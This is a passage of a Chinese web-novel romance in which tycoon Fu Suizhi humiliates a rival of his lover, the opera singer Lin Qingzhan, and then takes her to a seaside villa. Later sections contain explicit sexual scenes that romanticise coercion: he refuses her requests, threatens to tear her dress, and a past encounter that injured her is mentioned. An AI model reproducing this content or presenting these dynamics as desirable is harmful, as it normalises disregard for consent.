小姑娘都容易被外表迷惑,见他这模样,在场的小姑娘花痴似的跟林青盏打趣,“小盏,那是你男朋友?” 林青盏没那个心思跟她们解释她和傅随之复杂的关系,抿唇点了点头。 “你男朋友也太帅了吧。” “我真没见过这种男人!” 有位南城来的姑娘温翎也是豪门出生,从小锦衣玉食见识广,她笑着说,“他穿着的西装是高定,恐怕随意都要六位数。” 众人倒吸一口气。 温翎继续说,“他袖口那对宝石袖口恐怕都得七位数。” 小姑娘们无声惊叹。 温翎也很好奇,大胆问出声,“小盏,你快说说,那位该不会就是李若曦说的傅三爷吧?” “傅三爷?这名号我好像听一位京圈的客人说起过。” “那是浮城的大佬呢,傅氏集团你们总该知道吧,傅三爷是傅氏集团总裁,妥妥的资本家。” 有人激动地抓住林青盏的手,“天啊,你男朋友这么有钱?最关键是还这么帅!” 林青盏往傅随之那边望了一眼,对上他那双浅棕色眼眸,心虚地别开脸。 “我们快排练吧。”林青盏转移话题。 众人笑,“小盏都害羞了。” 安宇恒好似不经意提起,“单老师去洗手间,快回来了。” 众人这才收了声。 两分钟后,单老师走进来,抬眸看到坐在观众席后排的傅随之,怔愣了片刻,随即笑着往他那边走去。 “你怎么在这儿?” 傅随之站起身,同她打了招呼。 棠傛和单苇是好姐妹,早年间,棠傛去京都学习,跟单苇相识成了好朋友,后来棠傛去世,单苇亲自去浮城相送。 之后偶尔去浮城,会去看傅随之。 傅随之之前常找单苇,了解棠傛生前的事情,久而久之,两人也算是忘年之交。 “出差。看到你发了研讨会的信息,过来看看你。” 傅随之说话时常没有笑容,但此刻他的脸色并不算冷漠。 他看向林青盏的方向,“也来看看她。” 单苇疑惑转身,随着他的目光看过去,“小盏?你们?” 傅随之点头。 单苇笑出声,“真没想到!你也觉得吧,她跟小傛真的很像。” 傅随之收回视线,没有接话。 单苇有些感慨,“如果小傛还在,看到你长大,也有了中意的伴侣,一定会很高兴的。” 傅随之眼神沉了几分,依旧没有开口。 单苇了解他的性格,不再多说,只让他坐着,“我们就排练一个小时,人马上还你。” 傅随之微微点头。 看到傅随之和单苇说话,林青盏心底是有着疑惑的,兰青翎在她耳边解释,“我听我师父说起过,棠傛夫人之前在京都那边学过曲艺,单苇老师是棠傛夫人的师姐。” 原来如此。 单苇走过来,看了林青盏一眼,神色很是和善,好似还有些欣慰。 “行了,排练吧。” 林青盏是专业演员,以往任何情况都不能乱了她的节奏,可今天不同,傅随之气场太过强大。 即便他什么话都没说,只安静坐在最后一排的红色椅子,细长眼尾垂着,镜片下的目光已比平日缓和许多,却还是清冷如雪山。 前面几分钟,林青盏都能感觉自己的声音在抖,好在她很快镇定下来,后面排练非常顺利。 一个小时后,排练结束。 单苇宣布原地解散,秦楠这才走过来,笑着跟在场人打了招呼,“单老师,傅总说很久没跟你一起吃饭,想邀请各位美女帅哥中午赏脸来去醉仙居。” 傅随之看着冷漠至极的人,其实对于亲近的长辈,态度还算谦和,也很周到。 但其实两人见面也不见得每次都有时间吃饭,今天这一出醉仙居,恐怕不是因为她。 不过单苇这人从来都是和善行 事,傅随之以她为名义,她不会拒绝。 她转身看向在场的学员们,“我记得原本中午安排的是酒店的工作餐吧,既然这样,我们午餐换个地方,大家应该没意见吧。” 林青盏旁边的温翎回答得特别响亮,“没意见!” 回完还对着林青盏眨了眨眼睛,满脸的笑,弄得林青盏莫名心底痒痒的。 临近十一点,众人往醉仙居转移。 醉仙居就在古城边上,走过去不过十几分钟,学员们都自发走路过去,兰青翎见单苇没开车过来,就让专车送着单苇过去。 林青盏原是想跟着上车,却被傅随之拽住,往路边停靠的库里南走去。 之前两人一同进入排练会场,傅随之全程等着林青盏,她们几个打趣,林青盏也承认了两人的关系,所以林青盏被傅随之拉走,大家并不意外,眼中只有浓浓的八卦。 在浮城,人人知道傅随之的身份,即便外面有三爷包养金丝雀的传闻,但绝对不敢议论到林青盏面前。 林青盏自己也存了这种念头,她和傅随之的关系就是不能摆在台面上的。 可今天的情况不同,傅随之当着众人的面与她姿态亲昵,俨然一副林青盏“家属”的样子。 他压迫感太重,众人不敢八卦他,却敢调侃她,那些蠢蠢欲动的目光,林青盏更是看得一清二楚,心底有着异样的感觉。 轿车疾驰而过,林青盏望着车窗外。 海城是沿海城市,从城市大桥望出去,蔚蓝色的海天连成一线,世界光明敞亮,好像他们的关系,突然就曝光在整个世界面前。 傅随之的手掌突然搭在她脑袋,揉着乌黑长发往下,捏住她脖颈后面,将她往他的方向拉过去,“羞什么?” 他的动作从来都不算温柔,他突然间靠近,鼻尖擦过她的,镜片下的浅棕色眼眸依旧冷漠犀利,没有任何温度。 她撩起眼睫望向他,她悄然审视,试图分析他的意图。 现在想起来,林青盏其实从未真正尝试去试探探究他真正的想法,他从来都是如此的面容,没有温度到让人害怕靠近。 此刻,她望着他的眼眸,胸腔里那颗心脏却剧烈跳动着。 隐隐有着不该出现的念头。 他的手指已经摸到她的下巴,骤然用力,捏着她的脸颊逼迫她抬起脸。 林青盏在这一刻,突然有了叛逆心,“你都不怕人知道,我羞什么?” 他目光平静,“我为什么要怕人知道?” 是了,他或许从来不在意别人知不知道,他只要满足他自己的需求就好了。 醉仙居是海城出名的饭店,布置略带古香古韵,玩弄着文艺气质那一套,弄得仙气飘飘,真的好像天上仙境。 林青盏和傅随之他们开车绕了一圈才过来,反倒是比较晚到。 傅随之依旧丝毫不避讳,手掌贴着她的腰,带着人往里面走。 众人目光依旧有着八卦之意,但毕竟这顿是傅随之请的,大家也识相地有着客人的本份,乖乖等着上菜,不再盯着他们看。 虽然不是大闸蟹的最好季节,不过上来的大闸蟹看着很美味,有工作人员现场在旁边处理蟹肉,表演完,将第一盘摆放好的蟹肉放在傅随之面前。 傅随之淡淡看了一眼,修长手指抓住白色餐盘,端到林青盏面前。 林青盏疑惑看向他,听他说道:“不是最喜欢吃这个。尝尝。” 众人投以羡慕的目光。 小姑娘温翎在心底惊叹,不是说傅三爷阴狠毒辣,很是可怕,可是对自己的女人竟然是这么温柔的吗? 林青盏看他一眼,没有拒绝。 不管他是什么心态做出这样的举动,她终归是不能当众驳了他面子。 她拿起筷子夹着蟹肉放进嘴里,悠然点点头,“很好吃。” 傅随之看她食之有味,神色不错,饭桌上的人自然也就吃得放松了些。 坐在一旁的秦楠却在心底打鼓,爷的恋爱脑真的彻底没救了吗?! 心底打鼓的还有李若曦! 她没有想到,傅随之对林青盏的态度会如此宠溺! 第35章 李若曦之前那样当众给林青盏难看,其他学员心底对她已经有些微词 今天看到她说的傅三爷对所谓的“金丝雀”竟然如此体贴入怀,纷纷怀疑李若曦所言。 什么金丝雀? 这看着就是很甜蜜的男女朋友啊?! 连李若曦都开始自我怀疑,难道传闻不是真的,傅随之不只是将林青盏当做金丝雀养着打发时间逗趣用的? 他难道是真的喜欢林青盏不成? 想到此,李若曦神色更难看。 一整顿饭,李若曦吃得食之无味,压根没注意其他人在说什么。 是单苇闲言中提到浮城最好的戏楼就是宴乐门和望月台,有人大着胆子问单老师怎么会和傅总认识,她也随口解释了她和傅随之的关系。 有好奇的小姑娘问,“傅总的母亲是宴乐门的人?那若曦、安宇恒和傅总认识吗?” 傅随之刚吃完,面前的酒杯空了,他随手端起林青盏那杯白葡萄酒喝了口,才淡淡然看向李若曦。 “宴乐门,在我这儿能说话的只有李昭华。” 一句话说得极其冰冷,其他人都听出傅随之这话的意思。 连宴乐门团长李昭华,都得对傅随之敬重三分,他压根没将李若曦放在眼里。 前头李若曦还在众人面前三哥三哥叫着,可傅随之来了这半天,连看李若曦一眼都没有,现在言语间更是没给她留半点面子。 反倒是刚刚被李若曦嘲讽是金丝雀的林青盏,完全被傅随之捧在掌心里,连酒杯都是能用同一个的关系! 林青盏看向傅随之,也后知后觉,傅随之该不会是来为她撑腰的吧? 头顶的云朵灯投下白色的光,让李若曦的脸色更加苍白。 林青盏瞥她一眼,转而看向傅随之。 说是来吃饭的,但他其实没怎么动筷子,只在她转身询问时吃了几口,酒倒是喝了好几杯。 傅随之是典型喝酒不上脸的,那双浅棕色眼眸在这种时刻只会越发的阴沉,脸庞在灯光映衬下犹如刀锋般犀利。 他淡淡抬起头,眼神终于落在李若曦身上,冷得可怕。 “我记得李昭华还挺聪明识相的,教出来的人倒是没承她半分。” 说完这话,傅随之收回目光,转而看向林青盏,手掌也贴过去扶住她的腰,目光不再淬着霜雪,与点评李若曦的神色完全不同。 “送你过去表演场地?” 林青盏点头,转身和单苇低声打了招呼,才跟着傅随之离开。 李若曦望着他们离开的身影,紧紧咬住嘴唇,心底满是屈辱。 傅随之这种人不只是狠戾,更知道怎么蔑视别人。 他知道昨天李若曦对林青盏的言辞侮辱,但他不屑于用激进的言辞来教训她,他只用一句话就将李若曦全盘否决,甚至于连看都不愿意多看她一眼。 可是他的目光却一秒钟都不愿意从林青盏身上离开。 不可能有金主这般对待自己的笼中雀,即便有,那也只能说明傅随之对林青盏极其重视。 一群人心思各异走出醉仙居。 李若曦的电话响起,她脑袋晕乎乎地点了接听,误触到屏幕上的小喇叭,电话彼端李昭华着急的声音传来:“若曦,三爷的人刚打电话过来,说要撤走宴乐门的所有投资,点名是你得罪了三爷,这是怎么回事?” 旁边的人听得一亲二楚,眼神徒然睁大。 哇靠!没想到有生之年,能遇上大佬为哄女朋友,一句话撤资的打脸戏码! 毕竟是同行一场,众人权当没听见,赶紧从李若曦身旁走开。 安恒宇走过来抓住李若曦的手臂,用眼神示意她镇 定,她这才转身去无人角落跟李昭华解释。 单苇站在原地,望着慌忙逃窜的李若曦,紧促眉宇。 她师妹的这个儿子,小时候还有点他父亲的温柔模样,长大后性情跟他父亲和母亲全然不像,以往他做过的那些事情,单苇听了都要打寒颤。 今天倒是小巫见大巫。 只是意外,他竟会为了一个女人出手。 她心底由衷希望,林青盏能成为傅随之站立的悬崖边,那一颗救命稻草,关键时刻能拉住他,不让他往下深陷。 去古城表演舞台的路途与来时的路不同,但依旧能看到城市大桥外那海天一线的蔚蓝天空。 林青盏扫过一眼明亮的天蓝色,转而看向旁边的男人。 刚刚喝了点酒,精神总归是疲乏的,他微眯着眼睛休息,只是手掌始终与她十指交握。 此刻,林青盏印证了自己的想法。 傅随之在给予她温柔。 堂堂浮城最狠戾的傅三爷给了她些许温柔,这意味着什么,她心底很清楚- 下午的表演如期举行。 傅随之没有意外地坐在观众席首座,第一排除了他,没有其他人。 林青盏已经从安宇恒那边听说了宴乐门的遭遇,安宇恒希望她能帮忙跟傅随之说句好话,求傅随之放过宴乐门。 她只是摇头说了句抱歉。 安宇恒没有再多说,无奈一笑。 他知道这件事是李若曦的错,林青盏不愿意帮忙也情有可原。 两人相对无言,上了舞台,便瞬间变了一副模样。 他们都是专业的演员,站在舞台上,就像是走进剧本里的人生。 林青盏已化了全妆,穿着黄袍,与安宇恒携手走出来,上演《长生殿小宴》。 天淡云闲,秋色斑斓,御花园中设立了酒宴。 唐明皇和杨贵妃相望着,以“携手向花间”开腔,浅斟低唱,饮酒歌舞。 以往这场戏的表演都是带着柔和的醉意,只是今日他们的表演更显得外放,像是升级版本的“醉酒小宴”。 林青盏扮演的杨贵妃,舞着长袖在唐明皇面前轻舞,脸上笑容灿烂如明日,神色灵动如莺鸟。 他们赏玩秋景,仰头饮尽杯中酒,满是痛快。 观众席的傅随之第一次见到如此张扬表演的林青盏,望着她的笑脸,心底难得澎湃。 结束后,林青盏随着大流去化妆室卸了妆,紧接着被傅小灵领入旁边小巷,走到巷口,上了傅随之的车。 傅随之坐在后座,西服外套脱掉放在一旁,身上只一身黑色衬衫。 他解开最上面的一粒扣子,脖颈线条硬朗至极,戴着金丝眼镜,整个人显得极具禁欲感,可看向她的那双眼眸却又满是浓郁的欲.望,像是伸展开的藤条,瞬间将林青盏紧紧束缚。 他对她伸出手,“过来。” 林青盏刚坐好,就被他捏着手腕拽到身上,什么话都来不及说,被他捏着下巴抬起头,发狠吻住。 宽厚的手掌捧着她的后背,将她用力往他怀里摁过来,他吸吮着她的唇,炙热掌心贴着她腰摩挲片刻,那些被压制一整天的情绪像是海啸翻涌而来。 他浅棕色眼眸难得散着迷雾,手掌贴着圆润用力捏下去,丝毫不温柔。 情绪越演越烈,几乎不可收拾。 在最后一刻,林青盏慌乱抓住他的手臂,身子轻颤。 “还在车上,有人呢!” 傅随之抬起头,嘴唇因为吻得太用力略发白,调整气息时,他将眼底的迷雾压了下去。 他没放开她,手掌很用力,惹得林青盏脸蛋发烫,纤细眼尾都染了红晕。 这段时间下来,他发现林青盏这人只有在某些时候性格执拗,平日里都像是海棠花一样柔和。 即便他已经如此,她也只是摁住他的手掌试图阻止,却又不强势。 傅随之原本压下去犹如迷雾的情绪再次涌上来,低头去找到她的唇重重吻上去。 库里南还行驶在柏油路上,外面突然传来一阵鸣笛,吓得她将他推开些许。 傅随之又凑过来时,林青盏歪过脸从他唇角擦过,“等等好不好?” 这还在车上呢! 他抬眸看她,眼神阴沉,林青盏以为他会拒绝,但没有。 他抽出手掌,双手捏着她纤细的腰,点了点下巴,“让我停可以,给我扣上。” 林青盏随着他眼神低下头,看到他散开扣子的长裤,抿了抿唇。 不是没有过这种情况,他在做这件事上,总是如此坦荡荡地暴露他的趣味,不停逗她。 明知道她羞,偏要她去做。 她眼睫眨了眨,手伸过去,快速扣上,然后把脸埋在他肩膀。 片刻后,她声音闷闷地问,“你不是来海城出差的?” “不是。” “那你是为我来的吗?” 他的声音从头顶砸下来,“不明显?还需要问?” 她嘴角无意识扬起,“谁知道——” 话还没说完,他抓着她肩膀,迫使她抬起头,对上他那双浅棕色眼眸,像是望入一片幽深的海。 不是以往那种覆盖寒霜的冰海,而是晴朗的没有波澜的大海,让林青盏想起今天看到的那蔚蓝海平面。 她从来没想过傅随之会有这样的一面。 他修长手指捏着她下巴,指腹用力碾过她白皙肌肤,看到皮肤被蹭红,心底莫名有种变.态的满足感。 “不知道?” 林青盏低笑,反问他,“我不知道不是正常的么?堂堂傅三爷会出面为自己的人做主,不止我,怕是全浮城的人都不敢想象。” 傅随之冷笑,“看来是真变得牙尖嘴利了。” 她不敢相信,再次开口问,“小灵跟你说李若曦找我麻烦,你才来的吗?” 傅随之面无表情,“嗯。” “噢。” 他挑了挑眉。 昨晚他跟纪时礼在外面应酬,傅慎拿着手机过来给他看信息,傅小灵全程跟着林青盏,将她所遇都拍了视频发过来。 看到那句「爷,林小姐在外面被人欺负了!!」傅随之二话不说就过来了。 虽然林青盏完全没被李若曦压制住,但都动到他人了,他自然不可能放过。 只是她这表情也太风轻云淡。 他很不满,指尖沿着她线条分明的嘴唇往里面探,摸到柔软的舌尖,故意勾着她,让她仰头望着他,眼底只能有他。 下一秒,灵活的舌尖舔了舔他的指腹! 傅随之眼神瞬间变了,盯着林青盏,像是恨不得将她拆骨吞食。 她却不再惧怕他阴沉至极的神色,抓着他手臂,将人推开,“到了吗?” 车已停下,司机无声退了出去。 林青盏转身看向车窗外,停车场靠近海边,隐约可看见广阔的大海。 “我们不回浮城?” “不回。” 傅随之为她将裙摆抚平,这才带着她下了车。 他们来的是傅随之在海城的海边别墅。 傅随之这种身份,每个城市都有房产,林青盏并不奇怪。 白色独栋别墅矗立在海边,巨大的落地窗往外不停延伸,远看像是将外面的碧海蓝天框成流动的画卷,画中央游艇悠悠荡着,让人看着很是舒心。 林青盏双手抵在透明玻璃上,纯净眼眸望着落地窗外的美好风景看了许久,豁然转身看向傅随之。 他去餐厅拿了瓶圣培露,拧开,边喝边走到沙发坐下。 屋里没有其他人,他随意解开了衬衫的两粒扣子,明晃晃露出白皙的锁骨,一手捏着圣培露昂头喝了口,另一条手臂随意搭在黑色沙发扶手。 随着他喝水的动作,喉结上下蠕动。 这人长着一张矜贵冷傲的脸庞,镜片下的眼眸冷淡至 极,明明该是极其禁欲的,可这么悠然坐在那儿,竟和顾蝉之前给她看过的男模差不多,脸庞绝美到让人想睡。 脑袋里冒出这个念头时,林青盏觉得自己疯了。 傅随之将瓶口拧上,对上她单纯的眼眸,挑了挑眉,像是无声询问。 林青盏收敛思绪,指了指木质露台延伸出去的沙滩,“我想去外面沙滩走一走。” 傅随之转头看了眼,并不觉得那地儿有什么好看的,“不去。” 林青盏瘪嘴,“我说我想去,又没邀请你去。” “……” 餐厅里正在准备晚餐的傅小灵隐约听到,没忍住笑出声,抬眸看向傅慎,对着他这张面无表情的脸,又将笑容收敛。 客厅里,林青盏没管傅随之,去房间里拉开行李箱,换了件宽松的白色及踝长裙,乌黑头发披散下来,又带了顶白色的圆帽,姿态悠然地往外走。 刚刚傅小灵跟她介绍了下,这栋海边别墅原是海城豪门陆齐鸣的,某次牌局上输了,被傅随之要过来。 傅随之喜欢安静,过来海城出差的时候,会落脚这里。 这栋三层现代建筑像只栖息在海岸线的白鹭,很是孤傲僻静。 别墅很大,露台外面连接着小院,都铺上了石条,靠海的那边摆放着好几张白色的躺椅,旁边撑起的大伞被海风狂吹,都能屹立不倒。 林青盏穿了方便出门的凉鞋,从石梯往下走,推开黑色小铁门,再往前一步,直接踩在了沙滩上。 傍晚时分,潮汐退去。 月牙形海湾的沙滩如同被熨平的绸缎,晚霞洒落下来,细软的沙像是被泼了一层暖金色水彩似的。 林青盏笑容灿烂,双手抓着帽子,慢慢往潮水的方向奔跑而去。 浮城是内陆,没有这么大的海。 林青盏鲜少几次跟兰青翎到南海、海城这样的沿海城市参加活动或者演出,才有机会看到。 她记得小时候在海城生活,每天都能闻到咸咸的海风味,这种味道很熟悉,她感觉身体所有细胞都在放松。 她在沙滩上赤脚踩着海水,好一会儿后,慢慢走到旁边的礁石上,踩着礁石一步步看过去,很快找到藏匿其中的小螃蟹。 她拿黑色小树枝捅了捅小螃蟹,见它就往旁边挪了挪,也没有想再逃走的意思,又凑过去玩它。 她跟小螃蟹玩得不亦乐乎,身后突然出现一道身影,往她这边压下来,她回过身,看到是傅随之弯腰看向她旁边的小螃蟹。 傅随之蹙眉,“这东西有什么好玩的?” 他在书房工作了一个小时,发现林青盏还没回来,傅小灵给他指了指方向,他走过来就看到她蹲在这里玩得嘴角满是笑容。 就玩这东西?? 林青盏猜想他不理解,但也没想解释,纤细指尖捏起旁边礁石上的贝壳,凑到傅随之面前,“你看这贝壳是不是很漂亮?” 傅随之面无表情垂眸,看完神色依旧没有变化。 林青盏抿唇笑了声,走到旁边一块平坦的石头坐下。 海风将她的乌黑长发吹拂而去,她随意将发丝别到耳后,昂起脖颈望着他,见他不动,又伸手去勾了勾他的手指。 傅随之望着她那白净的脸蛋,人生第一次,竟然愿意委身陪一个人做“看海”这么无聊的事情。 他身价百亿,平日里是挺讲究的,眼下情况不允许,他一个大男人也没那么娇气,随意往地上一坐,半曲着腿,手臂搭在膝盖,看了看她,又随着她的目光望向远处。 海城的大海很清澈蔚蓝,像极了插画里的图片,让人看着心旷神怡。 前段时间遇到变故,林青盏不虞又忧虑,即便是背靠傅随之这座大山,还是时刻忐忑。 因为她非常清楚傅随之这样的大佬,不见得是她能够一直攀附的,现在的她就像是站在钢丝上的小丑,或许一不小心就会摔得粉身碎骨。 她依附傅随之,想取悦他,却又不是那么甘愿,心思太过复杂。 没想到,今天的傅随之会因为傅小灵的一句通风报信,就亲自过来为她撑腰,他的种种言行举止,都让林青盏有种他是真心的感觉。 她知道这或许只是她的错觉,只是这一刻,她不愿意想太多了。 她扬起头,嘴角带笑转身看傅随之,“三哥,你会记得小时候的事情吗?” 傅随之看她,脸上没什么表情。 “不记得在哪本书里看过,说人的记忆会不停地覆盖,大脑会自动清除不重要的记忆。”林青盏手臂环抱着膝盖,眺望着远方,“所以能记住的事情应该是对我们很重要的吧。” “记得什么?” “我离开海城十六年,还是会记得我跟爸爸妈妈和哥哥小时候住着的地方。” 傅随之第一次听林青盏主动说起自己的事情,转头望着她,眉眼间的清冷消散下去。 林青盏是在海城郊外出生的。 那里是个乡镇,靠近海边,每天打开门就能闻到咸咸的海盐味。 她的妈妈在附近一家工厂做会计,爸爸是工厂司机,两人每天一起上班下班。 哥哥比她大了六岁,林青盏小时候都是跟在哥哥后面,受哥哥照顾,两人关系很好。 每天早上是哥哥为她换好衣服,喂她吃早饭,将她送到镇上那所唯一的公立幼儿园,他自己又急急忙忙去上学。 家里条件并不很好,但他们有房子,父母有工作,日子过得还算不错。 直到某天,爸爸妈妈开车去上班出了车祸,两人当场死亡,她和哥哥成了孤儿。 许是过去太多年,林青盏对于那段时间的苦难已经淡忘了许多,已经能够做到风轻云淡地说起。 “我记得镇上有个老婆婆每天都会出门摆摊,卖炸的小吃食。我和哥哥每天都会拿着零花钱去买。炸芋头好香好好吃。爸妈去世后,我就再也没有吃到过了。” 林青盏双手捧着脸,眺望着远方大海。 “爸妈去世后,家附近一个表叔很好心地帮我们办理了后事,那时候我和哥哥还小不懂事,对他很感激。听到他说联系上了爸爸的兄长,让我们坐车去浮城投靠大伯,傻乎乎地就上了车。” 是到了浮城才知道,那位表叔压根没找到什么大伯,不过是把他们骗走霸占了他们的房子罢了。 她和哥哥身上的钱不够回程,他们只能暂时在浮城流浪。 没多久,哥哥就因为跟混混打架争夺食物,被带走后,再也没有回来。 傅随之举起手掌搭在她脑袋,轻轻揉了揉。 “还想找哥哥?” “找!” 林青盏眼底满是笃定,“哥哥是我在这世上的最后一个亲人了,我在浮城这么久就是为了找他。就算最后得到的是不好的消息,我也要一个结果。” 林青盏长相婉约,平日里看着很是柔和,但在某些事情上,总是有着最坚韧的姿态。 恰好,这份坚韧傅随之懂得。 当初他无父无母失去了妹妹,一个人住在海棠苑的时候,也有这种感觉,世界好像唯剩下他。 这也是他一定要找到妹妹的原因之一。 傅随之清冷惯了,不擅长安抚,只举起手臂环住她肩膀,将人揽入怀中。 林青盏愣了愣,自然依偎过去,脸颊贴在他颈窝。 这一刻,她突然感觉自己好像有了依靠—— 作者有话说:珍惜现在的温情时刻[可怜]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 35-40 第36章 林青盏仰头望着夜空,天气不算好,没有月亮,只有稀疏星光。 她感慨道:“今晚月亮没有升起。” 傅随之抬起头。 “小时候我们住的地方有一条月亮街,不长,街头一家店面在门口挂着月亮灯和星星灯。夜晚来临时,都可以看到最明亮的月亮和星星。” 傅随之垂眸看她,若有所思。 修长手指捏着她脸蛋让她抬起头,温热嘴唇贴过去直驱而入,勾住她灵活舌尖吮了吮。 她身上有股很淡的海棠花香,是她平日里常用的熏香味,闻起来心旷神怡。 傅随之手掌贴着她脸蛋往下,抓住她脖颈后面的软肉捏了捏,惹得她嘤咛一声。 海风吹拂,林青盏发丝被吹乱,贴在白皙脸蛋。 傅随之为她将发丝拂到耳后,嘴唇贴着她耳廓含住,轻磨了磨。 林青盏很怕痒,被他用牙齿咬住耳朵,很是难耐,缩着肩膀往后躲开,“这里——” 他没让她说话,咬住她的唇,深吻下去。 但他没做更过分的事情,十分钟后放开她,站起身,对她伸出手掌。 林青盏纤细指尖搭在他掌心,被他一把拉起来搂入怀中。 这时,身后的海浪翻涌而来,拍打在黑色礁石,炸开的海浪像是油画下的画面,很是让人震撼。 两人相拥着望向对方,迈步往别墅的方向走去。 她望着面容清冷的男人,手臂环住他的腰,几乎是本能地想要更靠近他一些。 白色沙滩软绵绵的,林青盏走一步陷一步,越陷越深,好似她的心也跟着沦陷了下去。 别墅靠近海边,晚风徐徐,林青盏吃完晚饭,闲着无事,倚靠在露台的躺椅上。 目光所及是细软的白色沙滩,和翻涌的海浪,一切都是美好的,除了黝黑的夜空,连颗星星都没有。 她歪头赏了赏夜空,被海风吹拂得眼皮疲软,思绪逐渐涣散。 迷迷糊糊中像是陷入了幽深的海洋,又猛地被拽了起来,林青盏恍然睁开眼眸,对上那双幽深的浅棕色眼眸。 是傅随之在吻她。 他身上的黑色衬衫微敞开,单膝半跪在躺椅上,手掌捧着她的脸蛋蹭了蹭,“醒了。刚好。” 她从鼻腔里溢出轻微的“嗯?”一声。 “可以开始了?”傅随之贴着她柔软嘴唇碰了碰,“忍一天了。” 从早上看到她的第一眼,他就想- 这座海边别墅很宽阔,延伸出去的沙滩有着礁石和人造石栏,相当于私人领域。 傅随之说过这里不会有人能进来,所以刚刚林青盏才会安然躺在躺椅上迷迷糊糊陷入沉睡。 可是,在这里做? 林青盏抬眸看他,抓住他的手臂,隔着柔顺衬衫能清晰感受到他手臂硬朗的线条。 “三哥,可不可以——” “不可以。” 她蹙眉,“我还没说——” “不可以。” 他再次拒绝,双手抓着她白皙手臂,轻而易举将她抱起来,对换位置。他悠然往后靠在躺椅,让她跨坐在他身上。 林青盏手臂搭在他肩膀,垂眸望着他。 他的脸庞还是清冷的,但那双眼眸里的情绪已经慢慢涌上来,手掌贴着她纤细腰肢摩挲片刻,转而贴着她的单薄脊背往上,摸了摸没找到他想摸的。 他蹙眉,声线低沉:“自己脱掉。” 林青盏这才知道他方才是在找拉链。 她穿着的是及踝连衣裙,不便他探入,他才会想到要去解她拉链,但她并不想随他,咬了咬红唇,摇头道:“不要。” 傅随之不恼,唇角勾着浅笑,手掌抓住她的腰,用力掐了掐,“不脱就撕了。” 林青盏只能妥协,勾住他的手臂往下摸勾到他的食指,往上微微一带,“这里。” 他凝神看过去,指腹已摸到细细的拉链,用力往下一拽,海风瞬间灌入贴在她肌肤上,是凉的,而他的掌心是滚烫的。 炙热和滚烫贴着她蝴蝶骨摩挲了片刻,改道去了蜿蜒的胸廓。 叫傅随之温柔是不可能的,他手劲儿重重捏下去,惹得她红了眼眶,他反倒是兴趣越发浓烈,扬起她如繁花似的裙摆,藏匿之下。 那一下,林青盏觉得自己快疯了。 她是学习传统昆曲长大的,曾经演绎过多少荒唐的戏曲,却从未在自己身上做过如此疯狂的事情。 可此刻,她紧紧抱住傅随之,被他抓着腰肢,狠狠地。 夜间的海浪翻涌而来,一阵一阵,像是花鼓在耳边频频击打,叫她大脑一片空白,整个人像是柳枝般伏在他肩上,像是海浪拍打礁石般,狂躁孟浪。 夏日的海边,温度并不很好,海风也有些湿度,但他们身上满是汗水,让肌肤浮起一阵热气,黏黏的。 傅随之抬眸,看到她烫红的脸蛋粘着几缕发丝,为她将发丝往后拂,低头去亲吻她的唇。 片刻后,嘴唇贴着她耳廓舔了舔,哄着她:“转身。” 她压根不想动,趴在他肩膀,将脸埋得更深。 早知道他身高一米九,平日里看着并没有什么感觉,可在某种时刻,所谓的对称给了她比相得益彰还要意外的情绪,林青盏就快受不住。 她累惨了,哪里还有力气,只想求他赶紧结束。 傅随之不温柔但他对这件事很有耐心,将她抱起来,让她坐在身前,壮硕手臂环住她的腰,低头去吻着她的脖子。 修长手指捏着她下巴,让她回过头来,他咬住她柔软嘴唇。 动作越发的凶,压根不管这是哪里,勾着林青盏,他的呼吸越发沉重。 他深呼吸着去贴她的唇,“说话。” 林青盏往后靠在他结实胸膛,抓着他手掌,咬唇问,“你喜欢吗?” 他笑出声。 那声音难得是愉悦的,像是雨后的天空满是彩虹般明朗艳丽。 林青盏心底略微震惊,还未反应过来,他猛地往前—— 与此同时,不远处沙滩上突然亮起灯。 林青盏抬眸看过去,望到的是明亮的月亮灯和闪烁的星光灯,比小时候在月亮街街头看到的那些还要好看。 她震惊无比。 傅随之情绪难得亢奋,剧烈地跳动,她能感觉得到。 他情绪满足地贴着她的脸颊,声音依旧那般沉稳:“时间紧急,只能弄到这些,凑合着看。” 她疑惑回头:“这是你给我的?” 他没有回答,而是低头温柔吻了吻她的嘴角,“月亮和星星见证,我喜欢。” 下一秒,她感受到夏日里的热浪,汹涌澎湃。 他沉重的呼吸这才平静下来。 林青盏被他搂在怀里,望着辽阔的天地,背后依偎着的是他炙热胸膛,心底的海浪疯狂翻涌、拍打着。 天空忽然炸起烟花,林青盏心脏颤了一下,身子往后缩。 她背靠着的人闷哼一声,炙热手掌用力掐住她的腰,声音就贴在她耳后,“别咬。” 一句话就让林青盏羞得脸蛋发烫,气得去咬他的手臂,反倒是惹得傅随之低笑了一阵。 那日在玻璃花房里的荒唐,傅随之纯粹是盛怒下的发泄,没有半点耐心和温柔,将她弄伤了不说,他也没有半点快.感。 但今晚不同,一来傅随之心底有愧,虽然强势但有着无尽的耐心慢慢来,二来他更加了解林青盏的软绵,被她磨得快要疯了。 这会儿不过是被惊吓一阵,藏匿的地方骤然地吞没,好一阵销魂。 后来,傅随之还是抱着她上楼去了卧室,将人放在白色床铺中央。 他半跪着亲了亲她的嘴角,直起身来,手指捏着扣子,慢条斯理解开衬衫扣子。 林青盏平躺着,乌黑长发披散开,像是锦缎似的柔顺,清明桃花眼望着傅随之。 灰暗中,傅随之歪着头,清冷脸庞轮廓好似柔和了些许,浅棕色眼眸里满是浓郁的欲望,垂眸望着她,唇畔勾着浅浅的笑。 他指骨如玉灵活脱掉黑色衬衫丢在床边地毯上,露出精壮的身躯,也显出他胸口那明艳的刺青。 之前好几次,他借着她解决,都只是随意脱掉长裤,这是初次在他面前坦露胸膛,是以她第一次看到他心脏处的海棠花刺青,心中猛地振动了下。 她举起修长手指贴着那刺青摸了摸,明艳的色泽融入肌肤里,其实并没有什么异常的触觉,林青盏却觉得好似有些刺着指腹。 “这?” 傅随之像是猎豹似的俯下身,抓住她手臂挂在他肩膀,手掌扶着她的腰直接将人拉起来,两人都是半跪在床铺的。 他捏着她下巴让她抬头看向他,含着她的唇亲了亲,“我妈和我妹。” 棠傛很喜欢海棠花,她在世的时候就整日在院子里种各式各样的海棠花,连带着屋子里的各种东西都会有海棠花的样式。 傅于然小时候不小心被海棠花灯罩烫伤,肩胛骨下也烙印着海棠花印记。 她们都与海棠花有缘,傅随之心底挂念着她们,就在胸口刺了两朵明艳的海棠花。 别人不知,林青盏算是看出来了,这位清冷的傅三爷其实比谁都深情,只是他的情深从不与外人所见。 后来,林青盏压根没心思想其他的,被傅随之掐着腰摁下去,她整个人颤抖不止。 